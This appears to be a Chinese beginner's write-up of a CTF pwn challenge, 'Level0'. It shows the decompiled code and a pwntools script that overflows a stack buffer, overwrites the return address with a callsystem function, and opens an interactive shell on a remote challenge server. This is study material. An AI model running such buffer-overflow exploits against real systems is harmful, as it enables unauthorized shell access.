当前位置:网站首页>PWN新手入门Level0
PWN新手入门Level0
2022-06-29 02:31:00 【Day-3】

首先查看一下文件格式属性。
运行一下看一看。
丢入IDA中,查看代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}
进入函数看一眼。

同时我们也发现了进入服务器的函数。

我们只需要将read函数中ret改为callsystem的地址,就可以进入服务器了。
编写源代码:
from pwn import *
context(os='Linux',arch="amd64",log_level="debug")
content = 0
elf = ELF("Level0")
system_addr = elf.symbols["callsystem"] # 0x400596
def main():
if content == 1:
day3 = process("Level0")
else:
day3 =remote("111.200.241.244",58272)
payload = b'a' * (0x80 + 8) + p64(system_addr)
day3.recvuntil("Hello, World\n")
day3.sendline(payload)
day3.interactive()
main()



边栏推荐
- String length
- Koa 快速入门
- MySQL queries the data of today, yesterday, this week, last week, this month, last month, this quarter, last quarter, this year, last year
- sql连续登录问题
- 干货丨微服务架构是什么?有哪些优点和不足?
- Differences between web testing and app testing
- leetcode 统计放置房子的方式数
- What is the Valentine's Day gift given by the operator to the product?
- The meaning of cross multiplication and dot multiplication (simple formula memory method)
- Koa 快速入門
猜你喜欢

月薪没到30K的程序员必须要背的面试八股,我先啃为敬

矩阵特征值和特征向量求解——特征值分解(EVD)
![[redis] list type](/img/c7/adec2aaea50d69a0aed95bfe683b9e.png)
[redis] list type

Ctfhub web password weak password

Prepare for the Blue Bridge Cup - double pointer, BFS
![[sans titre]](/img/36/2f9319e05157ab6a8dd5aa3bef4505.png)
[sans titre]

Oracle Recovery Tools实战批量坏块修复

Programmers whose monthly salary is less than 30K must recite the interview stereotype. I'll eat it first

MySQL的下载和安装

CTFHub-Web-密码口令-默认口令
随机推荐
Day10 enumeration class and annotation
What is Mipi
Informatics Olympiad all in one 1361: production | Luogu P1037 [noip2002 popularization group] production
信息学奥赛一本通 1361:产生数(Produce)
Exec function of PHP
Summary of several days
QT basics tutorial: qstringlist
OpenResty 使用介绍
Ctfhub web password weak password
Redis master-slave replication
Prepare for the Blue Bridge Cup - double pointer, BFS
字符串方法练习
[untitled]
MySQL的下载和安装
字符串长度
Com3529 test analysis
Cross border information station
瀑布型项目管理最常用的10个小工具,可以自由搭建使用
组合数据类型之元组小练习
哪个证券公司最大最安全 哪家券商服务好